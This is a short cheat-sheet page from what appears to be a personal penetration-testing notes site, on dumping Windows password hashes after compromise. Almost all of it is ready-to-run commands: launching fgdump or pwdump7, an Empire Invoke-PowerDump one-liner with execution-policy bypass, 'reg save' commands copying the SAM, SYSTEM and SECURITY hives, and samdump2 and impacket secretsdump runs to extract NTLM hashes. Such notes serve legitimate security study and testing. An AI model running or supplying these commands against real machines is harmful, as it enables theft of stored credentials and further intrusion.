> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/kashz-jewels/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/kashz-jewels/os-windows/windows-post-exploitation/dump-sam-system.md).

# dump SAM SYSTEM

## SAM hash Format

```bash
uid : rid : LM_Hash : NTLM_Hash
```

## [foofus.net/fgdump](http://foofus.net/goons/fizzgig/fgdump/fgdump-usage.htm) | [tarasco.org/pwdump7](https://www.tarasco.org/security/pwdump_7/)

```bash
START /B [fgdump.exe | pwdump7.exe]
```

## [EmpireProject/Empire/dump.ps1](https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1)

```bash
powershell.exe -exec bypass -Command "& {Import-Module .\Invoke-PowerDump.ps1; Invoke-PowerDump}"
```

## manually

```bash
# actual location
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SECURITY
C:\Windows\System32\config\SYSTEM
# other locations
C:\Windows\System32\config\RegBack
C:\Windows\Repair

reg save hklm\sam c:\Users\Public\ksam
reg save hklm\system c:\Users\Public\ksystem
reg save hklm\security c:\Users\Public\ksecurity

# on kali
samdump2 ksystem ksam
impacket-secrectsdump -sam ksam -security ksecurity -system ksystem LOCAL
```